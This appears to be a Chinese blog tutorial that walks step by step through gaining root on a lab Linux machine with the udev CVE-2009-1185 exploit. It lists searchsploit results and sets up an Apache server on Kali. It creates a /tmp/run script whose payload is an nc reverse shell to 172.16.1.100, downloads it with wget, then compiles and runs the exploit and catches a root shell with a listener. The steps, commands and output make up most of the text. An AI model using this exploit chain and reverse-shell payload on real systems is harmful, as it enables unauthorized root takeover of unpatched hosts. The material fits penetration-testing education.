linux内核漏洞提权过程

内核提权

在linux系统漏洞利用过程中,最终目的是获取目标的root权限。在渗透过程中,有时利用某些漏洞可以获取一个低权限的用户,然后想办法提权,提升到root用户权限,从而控制整个系统。

在获取到低权限shell后,通常会检查操作系统的发行版本、内核版本,当前用户权限,列举Suid文件,系统安装包、进程、端口、服务,老版本的可能会有漏洞可以利用。

 

信息收集

我们将使用一个内核exp提权到root用户,先搜集靶机信息。由于已经获取到了一个 shell,执行uname –a命令来查看内核版本。

linux内核漏洞提权过程

系统为Ubuntu8.0.4,内核版本为2.6.24。

查找能利用的exp ,kali自带本地版本的Exploit-DB库包含了各种exp和代码。

使用SearchSploit来访问这个exp库:

root@stanley:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escala | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Pr | exploits/linux/local/9844.py
Linux Kernel 2.4.32/2.6.0 - 'do_mremap()' Bound Checking Privilege E | exploits/linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - Bluetooth 'bluez_sock_create' Local P | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local  | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.c

使用8572.c这个exp,它利用了UDEV设备管理器中的一个漏洞,允许通过未经验证的Netlink消息来执行代码。

复制exp位置,locate查找完整的路径:

root@stanley:~# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
root@stanley:~#

查看该文件,查看关于exp的详细信息:

* cve-2009-1185.c
*
* udev < 1141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
*   udev before 1.4.1 does not verify whether a NETLINK message originates
*   from kernel space, which allows local users to gain privileges by sending
*   a NETLINK message from user space.
*
* Notes:
*
*   An alternative version of kcope's exploit.  This exploit leverages the
*   95-udev-late.rules functionality that is meant to run arbitrary commands
*   when a device is removed.  A bit cleaner and reliable as long as you
*   distro ships that rule file.
*
*   Tested on Gentoo, Intrepid, and Jaunty.
*
* Usage:
*
*   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*   usually is the udevd PID minus 1) as argv[1].
*
*   The exploit will execute /tmp/run as root so throw whatever payload you
*   want in there.

 

exp上传到靶机中

最简单的方法就是在本地kali中搭建apache,把exp放在本地服务器上从靶机连接到这个服务器下载exp。

确保服务器已在kali上启动并运行,在终端中执行service apache2 restart命令。

在服务器文件目录下建立exp所在位置的符号链接:

ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

exp将在靶机的/tmp目录下运行,创建一个将要执行的文件。在kali上执行nano /var/www/html/run创建一个文件输入以下内容:

#! /bin/bash
nc 172.16.1.100 4321 -e /bin/bash

当这个文件执行时它会使用nc去连接kali的4321端口并生成一个 shell。

执行的时候敲 Ctrl-X, Y, 和 Enter 进行保存。将exp上传到靶机。

回到低权限shell切换到/tmp目录下,使用wget命令连接到kali上运行的服务器,然后将文件上传到靶机。

cd /tmp
wget http://172.16.1.100/run
--15:18:31--  http://172.16.1.100/run
           => 'run'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46

    OK                                                  100%  978.43 KB/s

15:18:31 (978.43 KB/s) - 'run' saved [46/46]

wget http://172.16.1.100/local/8752.c
--15:19:24--  http://172.16.1.100/local/8572.c
           => '8572.c'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-csrc]

    OK                                                  100%  100.46 MB/s

 

编译执行

exp文件上传到靶机上了,下一步就是执行exp。

exp文件是c语言编写的,需把它编译成可执行文件:

gcc -o exploit 8572.c

如果没有找到ld动态链接器,需要使用-B参数来指定链接器的位置:

gcc -B /usr/bin -o exploit 8572.c

查看可执行文件是否已经成功编译:

gcc -o exploit 8572.c
collect2: cannont find 'ld'

gcc -B /usr/bin -o exploit 8572.c

ls
4674.jsvc_up
8572.c
exploit
jVswA
mhbkk
run

在8572.c文件的文档中说明,找到Netlink套接字的pid,这个pid通常比udevd的pid小1。

使用cat /proc/net/netlink查看pid,唯一非0的pid就是我们要的。

ps aux | grep udev 来查看udevd的pid,它应该比刚才的数字大1:

cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem    Dump     Locks
celb4800 0   0      00000000 0        0       00000000 2
cf87fa00 4   0      00000000 0        0       00000000 2
cd678000 7   0      00000000 0        0       00000000 2
cdc4bc00 9   0      00000000 0        0       00000000 2
cdc09c00 10  0      00000000 0        0       00000000 2
ce1bc400 15  0      00000000 0        0       00000000 2
cf8dee00 15  2459   00000000 0        0       00000000 2
cd394800 16  0      00000000 0        0       00000000 2
cd5f6200 18  0      00000000 0        0       00000000 2
ps aux | grep udev
root      2460  0.0  0.2   2216   648 ?       S<s  14:42  0:01 /sbinudevd --daemon

接下来在kali中设置监听器,当脚本执行时我们就能捕获shell。

在kali上执行nc –lvp 4321命令来监听入站连接。

监听器是开着的,接下来可以进行漏洞利用了。

要把Netlink的pid(2459)作为参数传递过去,在低权限shell中执行下面的命令:

./exploit 2459

nc监听器获取到了一个新的连接会话,输入whoami命令来查看用户信息,可以发现我们已经获取到了root权限,然后Do what you want。

root@stanley:~# nc -lvp 4321
listening on [any] 4321 ...
172.16.1.102: inverse host lookup failed: Unknown host
connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 34418
id
uid=0(root) gid=0(root)
whoami
root

 

上一篇:R语言ID转换


下一篇:[2021 Spring] CS61A 学习笔记 Homework 6: Scheme